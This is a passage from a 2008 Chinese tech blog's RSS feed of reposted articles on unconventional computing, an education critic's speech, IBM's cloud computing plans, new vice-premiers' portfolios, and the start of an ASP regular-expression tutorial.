环化学反应生成。阿达马特兹基展示这种化学反应的逻辑门可使一个机器人手臂搅动混合剂，当机器人的手指搅动混合剂刺激化学反应的发生，随后产生的化学反应 将控制机器人手臂的运动。 </p> <p style="text-indent: 2em"><strong>9、霉变计算机</strong> </p> <p style="text-indent: 2em">即使像粘土这样的原始有机体也可以用于解决传统计算机的问题，日本名古屋物理化学研究协会Toshiyuki&nbsp;&nbsp;Nakagaki展示粘土的霉变反应可以解决抵达迷宫的最短路径。 </p> <p style="text-indent: 2em">这引起了计算机科学家的浓厚兴趣，他们认为粘土的霉变反应可以解决类似于&ldquo;售货员行程&rdquo;的问题，在该问题中要求售货员在空间几个售货点之间确定最短的销售行走路程。这种问题在传统计算机上很难实现。&nbsp;&nbsp;</p> <p style="text-indent: 2em"><strong>10、水波计算机</strong> </p> <p style="text-indent: 2em">或许感觉最不可能实现的就是计算运算能力在水池的波纹中实现。英国苏塞克斯郡大学两位研究人员使用一个波动水箱和一个高架摄像仪，通过波形生成一个&ldquo;或逻辑门&rdquo;或&ldquo;异逻辑门&rdquo;类型。</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E8%25AE%25A1%25E7%25AE%2597%25E6%259C%25BA" rel="tag">计算机</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1760</link>
<title><![CDATA[转帖：浙江大学博导称作弊是逼良为娼]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[针砭时弊]]></category>
<pubDate>Fri, 11 Apr 2008 00:13:17 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1760</guid> 
<description>
<![CDATA[ 
	2008年04月11日02:52 <span class="linkRed02"><a style="text-decoration: none" href="http://zqb.cyol.com/node/zgqnb.htm" target="_blank">中国青年报</a>&nbsp;&nbsp;</span><!--正文内容开始--> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<!-- google_ad_section_start --> &nbsp;&nbsp;&nbsp;&nbsp;<div id="artibody" class="artibody"> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<p>　　张明平 本报记者 李润文</p>&nbsp;&nbsp;<p>　　&ldquo;中国为什么出不了诺贝尔奖？是我们的教学条件差吗？是我们的研究条件落后吗？&rdquo;郑强在向教育发难。近日，被称为&ldquo;最牛愤青教授&rdquo;的郑强在江苏大学进行了一场名为&ldquo;当代大学生的成才之道与历史责任&rdquo;的演讲。</p>&nbsp;&nbsp;<p>　　头顶着教育部&ldquo;长江学者&rdquo;特聘教授、国家杰出青年基金获得者、首批新世纪百千万人才工程国家级人选、博士生导师等一系列学术桂冠的浙江大学工科教授郑强，因经常炮轰现行教育而得到网友的热情追捧。</p>&nbsp;&nbsp;<p>　　报告会从天黑一直持续到晚上近10点，台下挤了近3000人，几乎没有人离开。</p>&nbsp;&nbsp;<p>　　<strong>教育的误区是挖掘式智力开发 </strong></p>&nbsp;&nbsp;<p>　　演讲中，个性张扬的郑强敢怒敢言，痛陈现代社会中的种种不是，锋芒直指我国现行的教育体制和教育制度。通过列举幼儿园&ldquo;讲坐姿、立规矩&rdquo;、少年 宫&ldquo;车水马龙&rdquo;、中小学生的所谓&ldquo;成熟、懂事&rdquo;等一系列现象，他指出，我国的教育误区是，&ldquo;挖掘式的智力开发&rdquo;，&ldquo;挖煤炭挖到黄土了还在挖！&rdquo;</p>&nbsp;&nbsp;<p>　　郑强结合自己的高分子专业打比方，教育就像做一个陶器，幼儿园阶段给沙子浇浇水，小学阶段捏一捏，初中造造型，高中上釉，大学烧焙，&ldquo;可现在的 幼儿园、小学、中学太能干了！&rdquo;他说，&ldquo;超量灌输知识极大地挫伤了孩子们的求知欲望，摧残了孩子到大学后的发展潜力。&rdquo;中国的孩子小时候不得玩、不能玩、 被别人玩，上大学后&ldquo;没人管难受&rdquo;，开始大玩特玩，沉溺网络，盲目恋爱。</p>&nbsp;&nbsp;<p>　　&ldquo;教育是一把双刃剑！&rdquo;他说，&ldquo;好的教育让人走向善良；反之使人愚昧，而且愚昧得不可理喻。&rdquo;演讲中，郑强不时有惊人之语，&ldquo;分数越高，意味着你残废的程度越高！&rdquo;、&ldquo;选择一流大学，恰恰选择了平庸之道！因为你丧失了继续领先的动力。&rdquo;</p>&nbsp;&nbsp;<p>　　<strong>作弊是&ldquo;逼良为娼&rdquo;</strong></p>&nbsp;&nbsp;<p>　　对于自己在6年内连续三届高票当选&ldquo;浙江大学学生心目中最喜爱的老师&rdquo;，郑强解释说，一名老师要想被学生喜欢，必须具备三方面的条件：有真才实学，有爱学生之心，能与学生沟通。</p>&nbsp;&nbsp;<p>　　他自称，在浙江大学他是&ldquo;专门拯救那些被处分的学生的&rdquo;。对于大学校园中的作弊现象，郑强的观点令人瞠目：&ldquo;作弊是&lsquo;逼良为娼&rsquo;！&rdquo;他指出， &ldquo;评奖是现在大学生作弊的驱动力&rdquo;。他发现，很多作弊的都不是成绩不好的同学，很多成绩好的同学为了获得各种高额的奖学金而去铤而走险。他明确反对监考老 师用怀疑的眼光审视学生，因为&ldquo;教育的目的是提高，而不是惩罚&rdquo;。他笑言，自己监考的考场上没有作弊的秘诀就是&ldquo;精神控制法&rdquo;，相信学生都是优秀的，提醒 他们要&ldquo;永葆革命晚节&rdquo;。一直对英语&ldquo;怀有批判&rdquo;的郑强对于高校&ldquo;双语教学&rdquo;，表示&ldquo;坚决反对&rdquo;。&ldquo;专业的东西非常细腻，要靠民族语言才能表达透。专业课 学专业的，不是学语言的！&rdquo;他风趣地说，&ldquo;如果这样，学生4年下来就听不懂美式英语、英式英语了，只能听懂郑强带四川口音的英语了。&rdquo;</p>&nbsp;&nbsp;<p>　　<strong>豪华校园是对学生的双重毒害 </strong></p>&nbsp;&nbsp;<p>　　很多高校大搞新校区建设，校园现代大气，风景如画，对此，郑强毫不客气地指出：&ldquo;现代豪华的校园是对学生的双重毒害！&rdquo;因为&ldquo;很多边远地区的孩 子进了这样的校园，恨不得把身上简朴的衣服扔了。&rdquo;在这样的校园里，学生只有穿名牌、骑名车才匹配。他质问在座的大学生，&ldquo;在这样鸟语花香的校园里幸福地 生活4年，老百姓还能指望你们到艰苦的地方去吗？你们内心还愿意到艰苦的地方去吗？&rdquo;他对比古今中外的大学说：&ldquo;真正一流的大学，更重要的是对历史文化的 传承和延续，在于大学精神的树立。&rdquo;</p>&nbsp;&nbsp;<p>　　对于大学生们抱怨的&ldquo;找工作难&rdquo;问题，郑强更是不留情面：&ldquo;你们没有资格索取！你们没有给这个社会作过任何贡献。&rdquo;&ldquo;不是找不到工作，是很多同学不找艰苦的工作。你们是找不到享受的工作！&rdquo;</p>&nbsp;&nbsp;<p>　　<strong>文化人别做精神上的孤魂野鬼 </strong></p>&nbsp;&nbsp;<p>　　3个小时的演讲，郑强在以&ldquo;郑氏见解&rdquo;给学生&ldquo;洗脑&rdquo;的同时，也对学生进行&ldquo;爱&rdquo;的教育。他坦言，今天是来&ldquo;挖心的，来剥皮的！&rdquo;他大声疾呼： &ldquo;一个缺乏自信心的民族，一个主体意识不健全的民族，一个把自身的命运托付给他人的民族，是一个没有希望的民族。&rdquo;他告诫大学生，不能因为学了一点知识和 技能就变成&ldquo;文化和精神上的孤魂野鬼&rdquo;！</p>&nbsp;&nbsp;<p>　　郑强认为最重要的一点，就是要有专业的本领。这样才会有自信。对于专业的热爱不是天生的，而是&ldquo;付出了以后才会爱&rdquo;。</p>&nbsp;&nbsp;<p>　　&ldquo;科学是有国界的，科学家永远爱他的祖国！&rdquo;学术研究要关注社会需求，更要关注国家和民族的命运。</p> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</div><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%2592%2588%25E7%25A0%25AD%25E6%2597%25B6%25E5%25BC%258A" rel="tag">针砭时弊</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1759</link>
<title><![CDATA[转帖：云计算泄露Google的秘密]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Tue, 08 Apr 2008 05:29:47 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1759</guid> 
<description>
<![CDATA[ 
	<p style="text-indent: 2em">今年4月，美国华盛顿州一个农业小镇昆西忽然喧嚣起来，原来这里要兴建7个足球场大小的超大 型农场，只不过它不是用来圈养牲畜的，而是微软可以承载数十万台服务器的服务器农场。这个耗资数亿美元的数据中心将确保微软应对来自Web服务的挑战。无 独有偶，尽管互联网企业Google和雅虎早已有了庞大的数据中心，但是现在也正耗费巨资建立一系列数据中心。10月，IBM与Google达成协议，共 同出资建立一个供云计算（Cloud Computing）研究的大型数据中心。为什么全球IT巨头都在同一时间开始打起数据中心的主意？ </p><p style="text-indent: 2em">看看亚马逊去年推出的弹性计算云服务。由于它可以让小型企业按照自己的需要购买 亚马逊数据中心的处理能力，受到了用户的大力追捧：以EC2为基础的云存储S3在不到一年的时间里，就已经存储了50亿个对象。受S3的刺激，今年，云存 储服务之战再度升级，Google、微软和苹果都在近期推出了这一服务，希望在亚马逊独大的市场中分流更多用户，以便扩大广告受众。更多的企业和个人选择 通过Web服务共享大型数据中心的资源，这已经成为不可逆转的趋势，但问题是，以Web服务为导向新建的数据中心应该是什么样的？ </p><p style="text-indent: 2em"><strong>何以成为趋势</strong>&nbsp;&nbsp;</p><p style="text-indent: 2em">支持云计算，只有这样的数据中心才能承担层出不穷的Web应用。其实，云计算就是 Google数据中心得以处理互联网服务的技术秘密，而Google的搜索引擎就是云计算初期的服务产品，现在的云存储以及未来更多形式的Web新应用将 使云计算成为Web时代的新型计算语言。 </p><p style="text-indent: 2em">那么，神秘的云计算究竟是什么？IBM高性能随需解决方案团队副总裁Willy Chiu近日接受记者采访时表示，云计算能够使计算分布在大量的分布式计算机，而非本地计算机或远程服务器农场上，这使得企业数据中心的运行与互联网计算 模式相似。而满足云计算的数据中心足以应对互联网规模的计算挑战，往往在分秒之间就能处理超大规模的数据流量。通过与网格计算的对比，Willy Chiu形象地解释了云计算的秘密。金融机构利息计算可用来解读网格计算：由于计算利息的公式一定，因此可以按照数据库的参数分配计算任务，采用多态模拟 的方式，以重复的形式进行分布式计算，最后将各个计算任务整合起来得到最终计算结果。而搜索引擎计算用来解读云计算再合适不过：网页的变更通常大量而复 杂，但云计算可很容易地处理海量数据，它不仅可以将搜索任务切分为多个小的任务模块执行，而且单个任务模块可以采用不同的算法，这样的计算结果集合就是搜 索结果。 </p><p style="text-indent: 2em">由此看来，云不仅仅是计算机资源的简单汇集，因为其提供了一种管理这些资源的机 制，管理包括资源提供、变更请求、重新映像、工作负载重新平衡、资源解除提供和资源监测。从某种意义上说，云计算更像是网格计算的升级，但它的最大魅力就 在于，在这种计算模式下，计算业务将不再局限于个人桌面和企业计算中心，而可以成为一种依托于互联网处理的服务。 </p><p style="text-indent: 2em"><strong>让云计算落地</strong>&nbsp;&nbsp;</p><p style="text-indent: 2em">如果说大型互联网企业是云计算最早的需求者与推动者，那么，越来越多的非互联网用户 也开始遭遇互联网企业当初的问题：不仅效率、能耗和管理成本不能满足需求，他们还开始大量采用类似互联网企业的业务，如电子商务、内部门户、虚拟世界等 等。让更多用户真正享用云计算的任务落在了关注数据中心的系统企业肩上：这些用户什么时候也可以像亚马逊、Google等互联网巨头那样，运行和管理自己 的数据中心呢？ </p><p style="text-indent: 2em">11月15日，IBM率先出台了蓝云（Blue Cloud）计划，而它的目标就是为企业带来即可使用的云计算。蓝云基于由IBM软件、系统技术和服务支持的开放标准和开源软件，它包括一系列的云计算产 品，使计算不仅仅局限在本地机器或远程服务器农场，而是通过架构一个分布的、可全球访问的资源结构，使数据中心在类似互联网的环境下运行计算。 </p><p style="text-indent: 2em">即可使用也意味着对于广大企业来说，云计算不再只是概念。据悉，在计划出台当 天，IBM就在上海演示了运行在配置Power和x86处理器的IBM BladeCenter上的云计算技术，当时的演示任务是随着某一应用工作负载的变化，如何动态地提供和分配资源。而第一套支持Power和x86处理器 系统的蓝云产品将于明年春季正式推出，IBM还计划于明年提供一个System z大型主机云环境，以充分利用System z支持的超大数量虚拟机的能力。同时，IBM还计划提供基于高密度机架集群的云环境。据Willy Chiu透露，大多数服务器产品上都将升级为支持蓝云的产品，而通过服务和软件部门的协作，蓝云可以渗透到IBM的软件、硬件以及服务之中。 </p><p style="text-indent: 2em">IBM已经在自己企业内部实现了云计算应用试点，同时IBM还选定了一批涉及金 融服务、政府、电信等多个行业的用户，将于近期合作展开云计算的升级计划。据悉，目前，第一个吃螃蟹的用户是越南科技部。就在11月13日，双方已经共同 宣布了一项将运行在云计算基础架构上的开放创新试点计划。 </p><p style="text-indent: 2em"><strong>IT天空多&ldquo;云&rdquo;</strong>&nbsp;&nbsp;</p><p style="text-indent: 2em">可以看出，IBM已经将云计算作为重要的战略方向。IBM全球高级副总裁 Zeitler甚至将IBM蓝云计划的重要性与IBM在7年前对Linux的支持相比拟。目前，全球有超过200名的IBM研究人员参与开发蓝云计划， Zeitler近日还表示，在今后三年的阶段规划中将投入巨资来实施蓝云计划。尽管他没有透露具体资金数目，但是将几乎所有服务器、软件以及服务都能做到 支持蓝云绝对是一项浩大的工程。 </p><p style="text-indent: 2em">当然，看重企业内部计算大规模转移到云计算的系统级企业并非只有IBM一家。例 如，戴尔在今年3月成立了新业务部&mdash;数据中心解决方案部门，而它推出的第一项服务就是云计算解决方案。Sun也在前不久推出了移动数据中心&mdash;可以装在集装 箱里的Sun Black Box，里面满满当当地放置了252台Sun服务器。除了移动的特色之外，它也将在云计算中发挥重大作用。因为Sun认为，未来PC、手持设备、iPod 等无数终端设备都将简单地接入到在线应用，这正是云计算的体现。此外，Sun还提供租赁主机的服务来帮助用户实现云计算。 </p><p style="text-indent: 2em">由此可见，蓝云产品与Sun Black Box都是将系统的占用空间、经济性、能耗量、计算性能当作一个综合的整体来考虑，把服务器、存储设备、网络设备、操作系统、中间件等软硬件都集成在一起 的IT基础设施管理起来。同时，通过实时监控高效计算资源利用情况，向着使用户像使用水电等资源一样使用IT设施的目标又迈进了一步。不过，IBM并没有 相关的租赁服务计划推出。Willy Chiu认为，这是为了防止因租赁相关服务而造成商业机密泄露等安全问题。谈到与Sun Black Box在技术思路上的区别时，Willy Chiu认为，蓝云面向主流商业性客户普及互联网计算技术，其核心竞争力包括：更为开放，支持开源系统；高层次地实现虚拟化技术；具备自动配置能力；提供 企业级安全的互联网计算能力。也许用户不愿意全部服务器都使用同样的操作系统，而IBM的蓝云产品通过API接口可以实现较大的开放性。 </p><p style="text-indent: 2em">随着支持云计算的产品和方案的陆续落地，非互联网型企业也将享用这一技术，明年也许可以被称为云计算的应用元年。&nbsp;&nbsp;</p><p style="text-indent: 2em"><strong>蓝云架构什么样？</strong>&nbsp;&nbsp;</p><p style="text-indent: 2em">云计算既描述了一种平台，又描述了一类应用。一个云计算平台能够根据需要动态地提供、配置、再配置和解除提供服务器。而云应用则是那些经过扩展能够通过互联网访问的各种应用，这些云应用运行在那些托管Web应用和Web服务的大型数据中心及功能强大的服务器上。&nbsp;&nbsp;</p><p style="text-indent: 2em">IBM开发蓝云的目的，是帮助用户充分利用云计算，包括云应用的能力，通过基于 SOA的Web服务，与现有的IT基础架构集成。蓝云将特别关注IT管理简化方面的突破性需求，以保证安全性、隐私性、可靠性、高使用率和高效率。另外， 云计算主要针对现有的和即将出现的大规模数据密集型工作负载。 </p><p style="text-indent: 2em">IBM的蓝云计算平台由数据中心、IBM Tivoli配置管理器、IBM Tivoli Monitoring、IBM Websphere应用服务器、IBM DB2和虚拟组件构成。所有的请求都由Web 2.0组件来处理。然后转发到Tivoli配置管理器，进行服务器的分配或解除分配。 </p><p style="text-indent: 2em"><img src="http://www.chinagrid.net/dvnews/upload/080328002456851.jpg" border="0" />&nbsp;&nbsp;</p><p style="text-indent: 2em">IBM蓝云计算平台架构&nbsp;&nbsp;</p><p style="text-indent: 2em"><img src="http://www.chinagrid.net/dvnews/upload/080328002456852.jpg" border="0" />&nbsp;&nbsp;</p><p style="text-indent: 2em">基于开源Linux和Xen的虚拟化基础架构 </p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25B9%25B6%25E8%25A1%258C" rel="tag">并行</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web" rel="tag">web</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1758</link>
<title><![CDATA[转帖：三位新晋副总理亮相 透露在国务院中主管工作]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[职场与生活]]></category>
<pubDate>Mon, 31 Mar 2008 09:27:11 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1758</guid> 
<description>
<![CDATA[ 
	2008年03月30日03:47 <span class="linkRed02"><a style="text-decoration: none" href="http://gb.chinabroadcast.cn/index.htm" target="_blank">国际在线</a>&nbsp;&nbsp;</span><!--正文内容开始--> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<!-- google_ad_section_start --> &nbsp;&nbsp;&nbsp;&nbsp;<div id="artibody" class="artibody"> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<div align="center"><img src="http://i2.sinaimg.cn/dy/c/2008-03-30/U1596P1T1D15253603F21DT20080330052301.jpg" border="1" alt="三位新晋副总理亮相透露在国务院中主管工作" /></div><div class="f12" align="center"><div align="left">　　3月23日，第九届中国发展高层论坛在北京召开。李克强(左一)出席开幕式并致辞。新华社发</div></div><br /> <div align="center"><img src="http://i0.sinaimg.cn/dy/c/2008-03-30/U1596P1T1D15253603F23DT20080330052301.jpg" border="1" alt="三位新晋副总理亮相透露在国务院中主管工作" /></div><div class="f12" align="center">3月21日，王岐山会见来访的美国贸易代表施瓦布一行。中新社图</div><br />&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<p><strong>　　<a href="http://news.sina.com.cn/c/p/2008-03-18/104015172601.shtml" target="_blank" class="akey">副总理李克强</a></strong></p> <p>　　分管发展改革、物价、财政、统计等关乎宏调大局的几项工作；在总理出访期间，代行总理职务。</p> <p>　<strong>　<a href="http://news.sina.com.cn/c/p/2008-03-18/110615173043.shtml" target="_blank" class="akey">副总理回良玉</a></strong></p> <p>　　继续在农业、林业、水利等领域发挥主导作用；身为少数民族的他还将分管民族、宗教工作。</p> <p><strong>　　</strong><a href="http://news.sina.com.cn/c/2007-10-22/191214141408.shtml" target="_blank" class="akey"><strong>副总理张德江</strong></a></p> <p>　　分管工业、电信、能源、交通等重要经济领域。</p> <p><strong>　　<a href="http://news.sina.com.cn/c/p/2008-03-18/103815172594.shtml" target="_blank" class="akey">副总理王岐山</a></strong></p> <p>　　主管金融、商贸，不仅承担起推动金融体制改革的重任，还负责质检、海关、工商管理、旅游等工作。</p> <p>　　本报讯 三位新晋副总理李克强、张德江、王岐山日前分别以新职务亮相，参加的活动也显示了在新一届国务院中所主管的工作。李克强将分管发展改革、物价等，张德江将分管工业、能源、电信等，王岐山将分管商务与金融等。</p> <p>　　据《大公报》报道，新一届国务院19日召开了第一次常务会议，研究确定了工作分工，但具体内容并未公布。不过，在此后，几位国务院的新任领导人在不同场合陆续亮相，其中也透露出他们分管的工作领域。</p> <p><strong>　　李克强分管宏调大局工作</strong></p> <p>　　3月23日，李克强出席了在北京召开的第九届中国发展高层论坛。这个活动是由国家发改委主办，每年举行时，分管发改委的副总理都会出席，如前几届就是曾培炎出席。</p> <p>　　据悉，李克强将在今后5年的宏观调控中扮演重要角色，分管发展改革、物价、财政、统计等关乎宏调大局的几项工作。另外，作为常务副总理，根据刚修订的《国务院工作规则》，他将在总理出国访问期间，代行总理职务。</p> <p><strong>　　回良玉继续主导农林水利</strong></p> <p>　　上届政府中唯一留任的副总理回良玉，将继续在农业、林业、水利等领域发挥主导作用。3月27日，他主持了全国农业和粮食生产工作电视电话会议。身为少数民族的他还将分管民族、宗教工作。</p> <p><strong>　　张德江分管重要经济领域</strong></p> <p>　　另一位副总理张德江将分管工业、电信、能源、交通等重要经济领域。一个可以佐证的事例是，3月26日下午，他在工业和信息化部部长李毅中、国家能源局局长张国宝陪同下，参观了第十届中国国际核工业展览会。</p> <p>　　政情观察人士指出，本届国务院分工与上一届有很大不同。譬如上届的常务副总理黄菊分管工业、交通、金融，曾培炎主管发展改革。本届分工不仅顺序调整，分管领域也都重新搭配。</p> <p>　<strong>　王岐山主管金融商务贸易</strong></p> <p>　　另外，王岐山作为副总理于3月21日首度亮相，在中南海会见了到访的美国贸易代表施瓦布，这很明显地告诉外界，他将接吴仪的棒，主管商务贸易工 作。与商务有关的质检、海关、工商管理、旅游等工作将由他负责。此外，曾在央行、建行任职多年的王岐山还将主管金融，承担起推动金融体制改革的重任。</p> <p><strong>　　刘延东负责科教文体港澳</strong></p> <p>　　5位国务委员的格局与上届基本相似。其中3人分别兼国防部长、公安部长和国务院秘书长。但上届的公安部部长周永康和国防部部长曹刚川均是政治局委员，本届的孟建柱和梁光烈则均不是。其中孟建柱还分管司法、国家安全等工作。</p> <p>　　而本届政府中由政治局委员担任国务委员的是主管教育、文化、体育、科技工作的刘延东。她已被任命为北京奥组委的第一副主席，协助筹备<a href="http://2008.sina.com.cn/" target="_blank" class="akey">奥运</a>工作。另外，由于此前她长期担任中央统战部部长，参与中央港澳协调小组工作，在调至国务院后将继续负责政府对港澳工作。3月18日，她陪同国家主席胡锦涛、国家副主席习近平接见了香港和澳门两位特首。</p> <p><strong>　　马凯主要负责国办日常工作</strong></p> <p>　　由国家发改委主任晋升国务委员兼秘书长的马凯，将主要负责国务院办公厅日常工作。他同时将兼任中央国家机关工作委员会书记、国家行政学院院长。</p> <p>　　<strong>戴秉国主管外交和政府涉台工作</strong></p> <p>　　以往几届国务院中，涉港澳台工作一般都由分管外交的领导人兼管。本届分工打破了这一点。除刘延东负责涉港澳工作外，政府涉台工作将由主管外交的国务委员戴秉国负责，他还将分管侨务工作。早前，他视察了国务院侨办及下属的中新社。(钟评）（来源：南方都市报）</p> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</div><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%2592%2588%25E7%25A0%25AD%25E6%2597%25B6%25E5%25BC%258A" rel="tag">针砭时弊</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E6%2594%25BF%25E6%25B2%25BB" rel="tag">政治</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1757</link>
<title><![CDATA[转帖：ASP正则表达式详解]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 29 Mar 2008 09:17:18 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1757</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本文全面的详细的介绍了ASP正则表达式的规范，以及如何建立和使用的注意事项。&nbsp;&nbsp;<p><strong>&nbsp;&nbsp; 什么是正则表达式</strong><br /><br />&nbsp;&nbsp; 如果原来没有使用过正则表达式，那么可能对这个术语和概念会不太熟悉。不过，它们并不是您想象的那么新奇。<br /><br />&nbsp;&nbsp; 请回想一下在硬盘上是如何查找文件的。您肯定会使用 ? 和 * 字符来帮助查找您正寻找的文件。? 字符匹配文件名中的单个字符，而 * 则匹配一个或多个字符。一个如 'data?.dat' 的模式可以找到下述文件：<br /><br />　data1.dat<br /><br />　data2.dat<br /><br />　datax.dat<br /><br />　dataN.dat<br /><br />如果使用 * 字符代替 ? 字符，则将扩大找到的文件数量。'data*.dat' 可以匹配下述所有文件名：<br /><br />　data.dat<br /><br />　data1.dat<br /><br />　data2.dat<br /><br />　data12.dat<br /><br />　datax.dat<br /><br />　dataXYZ.dat<br /><br />&nbsp;&nbsp;&nbsp; 尽管这种搜索文件的方法肯定很有用，但也十分有限。? 和 * 通配符的有限能力可以使你对正则表达式能做什么有一个概念，不过正则表达式的功能更强大，也更灵活。<br /><br /><strong>&nbsp;&nbsp; 早期起源</strong><br /><br />&nbsp;&nbsp;&nbsp; 正则表达式的&ldquo;祖先&rdquo;可以一直上溯至对人类神经系统如何工作的早期研究。Warren McCulloch 和 Walter Pitts 这两位神经生理学家研究出一种数学方式来描述这些神经网络。<br /><br />&nbsp;&nbsp;&nbsp; 1956 年, 一位叫 Stephen Kleene 的数学家在 McCulloch 和 Pitts 早期工作的基础上，发表了一篇标题为&ldquo;神经网事件的表示法&rdquo;的论文，引入了正则表达式的概念。正则表达式就是用来描述他称为&ldquo;正则集的代数&rdquo;的表达式，因 此采用&ldquo;正则表达式&rdquo;这个术语。<br /><br />&nbsp;&nbsp;&nbsp; 随后，发现可以将这一工作应用于使用 Ken Thompson 的计算搜索算法的一些早期研究，Ken Thompson 是 Unix 的主要发明人。正则表达式的第一个实用应用程序就是 Unix 中的 qed 编辑器。<br /><br />&nbsp;&nbsp;&nbsp; 如他们所说，剩下的就是众所周知的历史了。从那时起直至现在正则表达式都是基于文本的编辑器和搜索工具中的一个重要部分。<br /><br /><strong>&nbsp;&nbsp; 使用正则表达式</strong><br /><br />&nbsp;&nbsp;&nbsp; 在典型的搜索和替换操作中，必须提供要查找的确切文字。这种技术对于静态文本中的简单搜索和替换任务可能足够了，但是由于它缺乏灵活性，因此在搜索动态文本时就有困难了，甚至是不可能的。 <br /><br />&nbsp; 使用正则表达式，就可以：</p> <p>&nbsp;&nbsp; &bull;测试字符串的某个模式。例如，可以对一个输入字符串进行测试，看在该字符串是否存在一个电话号码模式或一个信用卡号码模式。这称为数据有效性验证。 <br /><br />&nbsp;&nbsp; &bull;替换文本。可以在文档中使用一个正则表达式来标识特定文字，然后可以全部将其删除，或者替换为别的文字。 <br /><br />&nbsp;&nbsp; &bull;根据模式匹配从字符串中提取一个子字符串。可以用来在文本或输入字段中查找特定文字。 <br /><br />&nbsp;&nbsp; 例如，如果需要搜索整个 web 站点来删除某些过时的材料并替换某些HTML 格式化标记，则可以使用正则表达式对每个文件进行测试，看在该文件中是否存在所要查找的材料或 HTML 格式化标记。用这个方法，就可以将受影响的文件范围缩小到包含要删除或更改的材料的那些文件。然后可以使用正则表达式来删除过时的材料，最后，可以再次使 用正则表达式来查找并替换那些需要替换的标记。<br /><br />&nbsp;&nbsp; 另一个说明正则表达式非常有用的示例是一种其字符串处理能力还不为人所知的语言。VBScript 是 Visual Basic 的一个子集，具有丰富的字符串处理功能。与 C 类似的 Jscript 则没有这一能力。正则表达式给 JScript 的字符串处理能力带来了明显改善。不过，可能还是在 VBScript 中使用正则表达式的效率更高，它允许在单个表达式中执行多个字符串操作。<br /><br /><strong>&nbsp;&nbsp; 正则表达式语法</strong><br /><br />&nbsp;&nbsp; 一个正则表达式就是由普通字符（例如字符 a 到 z）以及特殊字符（称为<em>元字符</em>）组成的文字模式。该模式描述在查找文字主体时待匹配的一个或多个字符串。正则表达式作为一个模板，将某个字符模式与所搜索的字符串进行匹配。<br /><br />&nbsp;&nbsp; 这里有一些可能会遇到的正则表达式示例：</p> <table border="1" cellspacing="0" cellpadding="1" width="420" align="center" bgcolor="#f1f1f1" bordercolor="#999999"> <tbody> <tr valign="top"> <th width="30%">JScript</th> <th width="30%">VBScript</th> <th width="40%">匹配</th></tr> <tr valign="top"> <td width="30%">/^&#92;[ &#92;t]*$/</td> <td width="30%">&quot;^&#92;[ &#92;t]*$&quot;</td> <td width="40%">匹配一个空白行。</td></tr> <tr valign="top"> <td width="30%">/&#92;d&#123;2&#125;-&#92;d&#123;5&#125;/</td> <td width="30%">&quot;&#92;d&#123;2&#125;-&#92;d&#123;5&#125;&quot;</td> <td width="40%">验证一个ID 号码是否由一个2位数字，一个连字符以及一个5位数字组成。</td></tr> <tr valign="top"> <td width="30%">/＜(.*)＞.*＜&#92;/&#92;1＞/</td> <td width="30%">&quot;＜(.*)＞.*＜&#92;/&#92;1＞&quot;</td> <td width="40%">匹配一个 HTML 标记。</td></tr></tbody></table><br /><br />&nbsp;&nbsp; 下表是元字符及其在正则表达式上下文中的行为的一个完整列表：<br /><br />&nbsp;&nbsp; <table border="1" cellspacing="0" cellpadding="1" width="480" align="center" bgcolor="#f1f1f1" bordercolor="#999999"><tbody><tr valign="top"> <th width="16%">字符</th> <th width="84%">描述</th></tr> <tr valign="top"> <td width="16%">&#92;</td> <td width="84%">将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如，'n' 匹配字符 &quot;n&quot;。'&#92;n' 匹配一个换行符。序列 '&#92;&#92;' 匹配 &quot;&#92;&quot; 而 &quot;&#92;(&quot; 则匹配 &quot;(&quot;。</td></tr> <tr valign="top"> <td width="16%">^</td> <td width="84%">匹配输入字符串的开始位置。如果设置了 <strong>RegExp</strong> 对象的 <strong>Multiline</strong> 属性，^ 也匹配 '&#92;n' 